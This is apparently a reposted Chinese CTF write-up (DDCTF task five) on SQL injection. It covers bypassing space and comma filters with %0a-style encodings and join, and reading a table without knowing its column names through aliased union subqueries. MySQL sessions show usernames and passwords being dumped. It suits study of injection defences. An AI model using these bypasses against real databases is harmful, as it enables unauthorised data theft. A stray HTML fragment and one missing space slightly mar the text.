前言
本文介紹的是DDCTF第五題，繞過未知字段名的技巧，這里拿本機來操作了下，思路很棒也很清晰，分享給大家，下面來看看詳細的介紹：
實現思路
題目過濾空格和逗號，空格使用%0a，%0b，%0c，%0d，%a0，或者直接使用括號都可以繞過，逗號使用join繞過；
存放flag的字段名未知，information_schema.columns也將表名的hex過濾了，即獲取不到字段名；這時可以利用聯合查詢，過程如下：
思想就是獲取flag，讓其在已知字段名下出現；
示例代碼：
mysql/198165.html">mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;+---+---+---+---+| a | b | c | d |+---+---+---+---+| 1 | 2 | 3 | 4 |+---+---+---+---+1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;+---+---+---+---+| 1 | 2 | 3 | 4 |+---+---+---+---+| 1 | 2 | 3 | 4 |+---+---+---+---+1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;+---+-------+----------+-------------+| 1 | 2 | 3 | 4 |+---+-------+----------+-------------+| 1 | 2 | 3 | 4 || 1 | admin | admin888 | 110@110.com || 2 | test | test123 | 119@119.com || 3 | cs | cs123 | 120@120.com |+---+-------+----------+-------------+4 rows in set (0.01 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;+-------------+| 4 |+-------------+| 4 || 110@110.com || 119@119.com || 120@120.com |+-------------+4 rows in set (0.03 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3; +-------------+| 4 |+-------------+| 120@120.com |+-------------+1 row in set (0.01 sec) mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)dunion select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;+-------------+----------+----------+-------------+| id | username | password | email |+-------------+----------+----------+-------------+| 1 | admin | admin888 | 110@110.com || 120@120.com | 1 | 1 | 1 |+-------------+----------+----------+-------------+2 rows in set (0.04 sec)
總結
以上就是這篇文章的全部內容了，希望本文的內容對大家的學習或者工作能帶來一定的幫助，如果有疑問大家可以留言交流，謝謝大家對VeVb武林網的支持。
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